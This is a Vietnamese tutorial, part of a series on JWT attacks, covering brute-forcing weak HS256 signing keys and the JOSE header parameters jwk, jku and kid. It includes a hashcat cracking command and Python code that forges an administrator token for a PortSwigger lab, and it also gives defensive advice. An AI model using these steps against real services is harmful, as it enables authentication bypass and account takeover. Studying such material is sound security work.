JSON web tokens (JWT) attack - Tấn công JWT (phần 3)
III. Phân tích các phương pháp tấn công JWT và biện pháp ngăn chặn (tiếp)
2. Tấn công vét cạn (Brute-forcing) secret key
Trong trường hợp chương trình sinh token JWT cho người dùng sử dụng secret key không đủ tính phức tạp, kẻ tấn công hoàn toàn có thể sử dụng các công cụ với phương pháp tấn công vét cạn nhằm tìm ra secret key. Một khi secret key sử dụng để sinh các token JWT xác thực bị lộ sẽ dẫn đến hậu quả nghiêm trọng, kẻ tấn công có thể tùy ý thay đổi các giá trị tham số quan trọng, từ đó mạo danh người dùng bất kỳ, nâng cấp quyền hạn tài khoản.
Ví dụ với chương trình sau sử dụng secret key
không đủ "mạnh":
import jwt
payload = {'name': 'viblo-security'}
# Chương trình sử dụng secret key dễ đoán
secret_key = '123456'
algorithm = 'HS256'
jwt_token = jwt.encode(payload, secret_key, algorithm)
print(jwt_token)
Một trong những công cụ thường được sử dụng với mục đích tấn công vét cạn hoặc decrypt là hashcat. Chúng ta cùng phân tích kỹ thuật tấn công này tại bài lab JWT authentication bypass via weak signing key.
Sau khi đăng nhập với tài khoản wiener:peter
, kiểm tra Cookie nhận thấy trang web sử dụng JWT token để xác thực người dùng:
Chúng ta sẽ sử dụng công cụ hashcat thực hiện brute-force secret key của token này. Một câu lệnh hashcat có cấu trúc như sau:
hashcat [options]... hash|hashfile|hccapxfile [dictionary|mask|directory]...
Sử dụng lệnh hashcat -h
để xem thông tin chi tiết cách sử dụng.
Trước hết, chúng ta sử dụng option -m
(--hash-type
) lựa chọn kiểu hash, với token JWT giá trị của nó là :
Tiếp theo, sử dụng option -a
(--attack-mod
) lựa chọn phương thức tấn công. Tìm kiếm cách tấn công Brute-force:
Wordlist chúng ta sử dụng trong lab này đã được cung cấp tại https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list. Command cuối cùng có cấu trúc như sau:
hashcat -a 3 -m 16500 <YOUR-JWT> /path/to/jwt.secrets.list
Sau khi tiến trình hoàn thành, thu được secret key:
Lúc này, chúng ta có thể sử dụng một số công cụ hoặc trang web online (chẳng hạn jwt.io) để thay đổi các trường tham số. Để hiểu rõ hơn các chương trình sinh và xác thực JWT token, các bạn có thể tự viết chương trình đọc trường thông tin header và payload, sử dụng secret key đã thu được phía trên để thay đổi chúng.
Chương trình đọc thông tin header và payload JWT token khá đơn giản, công việc thực hiện là tách chuỗi và giải mã Base64:
import base64
def parse_jwt(token):
try:
# Tách token thành các phần: header, payload, signature
parts = token.split(".")
header = parts[0]
payload = parts[1]
signature = parts[2] if len(parts) == 3 else None
# Giải mã các phần header và payload từ dạng base64url
decoded_header = base64.urlsafe_b64decode(header + "=" * (-len(header) % 4)).decode("utf-8")
decoded_payload = base64.urlsafe_b64decode(payload + "=" * (-len(payload) % 4)).decode("utf-8")
return decoded_header, decoded_payload, signature
except IndexError:
# Token không đúng định dạng
return None, None, None
# Sử dụng chương trình
token = input("Nhập token JWT: ")
header, payload, signature = parse_jwt(token)
if header and payload:
print("Header:", header)
print("Payload:", payload)
if signature:
print("Signature:", signature)
else:
print("Token không hợp lệ.")
Với secret key tìm được, chúng ta có thể tạo mới một JWT token có giá trị sub
là người dùng administrator để mạo danh tài khoản admin. Chương trình như sau:
import jwt
secret_key = 'secret1'
header = {'kid': '2e557c32-7324-47e9-8471-c1538dbc1bd2', 'algorithm': 'HS256'}
payload = {'iss': 'portswigger', 'sub': 'administrator', 'exp': 1685084550}
jwt_token = jwt.encode(payload, secret_key, headers=header)
print(jwt_token)
Thay giá trị JWT token mới vào Cookie, trở thành người dùng administrator:
Kinh nghiệm rút ra: Hãy sử dụng secret key phức tạp để phòng tránh các cuộc tấn công sử dụng phương pháp vét cạn (brute force secret key) như trên. Bạn đọc có thể tham khảo thêm cách thức sử dụng secret key và thời gian attacker sử dụng để tấn công vét cạn qua thống kê trong hình ảnh dưới đây:
3. Các tham số JOSE Headers và self-signed JWTs
3.1. JOSE Headers
Headers là một phần quan trọng của JWT, còn được gọi là JOSE (JSON Object Signing and Encryption) headers, chứa các thông tin xác định và định dạng của JWT. Theo tài liệu đặc tả về JSON Web Signature (JWS), JWT headers bao gồm một tập hợp các tham số và giá trị được đặt trong một đối tượng JSON. Các tham số này cung cấp thông tin quan trọng về việc mã hóa và xác minh JWT, bên cạnh hai tham số quen thuộc alg
(thuật toán mã hóa) và typ
(kiểu), JOSE headers còn chứa các trường tham số quan trọng sau:
jwk
(JSON Web Key): Được sử dụng để nhúng một đối tượng JSON biểu diễn một khóa.jku
(JWK Set URL): Chỉ định URL chứa tập hợp các khóa công khai trong định dạng JSON Web Key (JWK).kid
(Key ID): Được sử dụng để xác định một ID cho khóa công khai được sử dụng để xác minh chữ ký của JWT. ...
3.2. Tham số jwk
Khi sử dụng tham số jwk
(JSON Web Key), người tạo JWT có thể nhúng một đối tượng JSON biểu diễn một khóa vào trong JWT headers. jwk
chứa thông tin về khóa công khai được sử dụng để xác minh chữ ký của JWT (Thông thường là một cặp khóa public/private được tạo ra từ các thuật toán mã hóa RSA, ECDSA hoặc HMAC). Ví dụ:
{
"kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
"typ": "JWT",
"alg": "RS256",
"jwk": {
"kty": "RSA",
"e": "AQAB",
"kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
"n": "yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9m"
}
}
3.3. Tham số jku
Khi sử dụng tham số jku
(JSON Web Key Set URL), người tạo JWT có thể cung cấp một URL trỏ đến tập hợp khóa công khai được sử dụng để xác minh chữ ký của JWT, thường có đường dẫn là /.well-known/jwks.json
{
"alg": "RS256",
"jku": "https://example.com/.well-known/jwks.json"
}
jku
cho phép tách riêng việc nhúng khóa công khai, cho phép người nhận tải về khóa công khai từ một nguồn tin cậy. Điều này giúp giảm kích thước của JWT và giữ quá trình xác minh chữ ký dễ dàng và bảo mật hơn. Tuy nhiên, việc sử dụng tham số này yêu cầu sự tin cậy vào nguồn khóa công khai được chỉ định bởi URL.
3.4. Tham số kid
Trong JWT, tham số kid
(Key ID) được sử dụng để xác định khóa công khai (public key) hoặc khóa bí mật (private key) trong xác minh chữ ký của JWT. kid
giúp định danh và tìm kiếm khóa phù hợp trong trường hợp có nhiều khóa khác nhau được sử dụng, đồng thời cho phép hệ thống dễ dàng quản lý nhiều khóa khác nhau khi cần thiết.
3.5. Self-signed JWTs
Self-signed JWTs (JSON Web Tokens) là các JWT mà chữ ký được tạo và xác minh bằng cùng một khóa, không cần sử dụng khóa công khai của một bên thứ ba. Trong trường hợp này, người tạo JWT sẽ sử dụng một khóa bí mật riêng để ký JWT và sau đó xác minh chữ ký bằng cách sử dụng khóa bí mật đó.
Trong phương pháp này, người tạo và người xác minh JWT đều có cùng một khóa bí mật, nên không cần trao đổi khóa công khai hoặc tin tưởng bên thứ ba nào. Điều này đơn giản hóa quá trình triển khai và quản lý hơn, đồng thời giảm bớt sự phụ thuộc vào hạ tầng khóa công khai.
Tuy nhiên, một hạn chế của self-signed JWTs là sự thiếu tính chất xác minh bởi các bên thứ ba. Bởi vì không có khóa công khai được chia sẻ, người xác minh không thể đảm bảo rằng JWT được tạo bởi bên tin cậy và không bị chỉnh sửa trên đường truyền. Do đó, các bạn nên cân nhắc cài đặt ứng dụng với biện pháp self-signed JWTs.
Tiếp theo, chúng ta sẽ cùng tìm hiểu về một số kỹ thuật khai thác lỗ hổng trong self-signed JWTs bằng qua các tham số của JOSE Headers.
Các tài liệu tham khảo
All rights reserved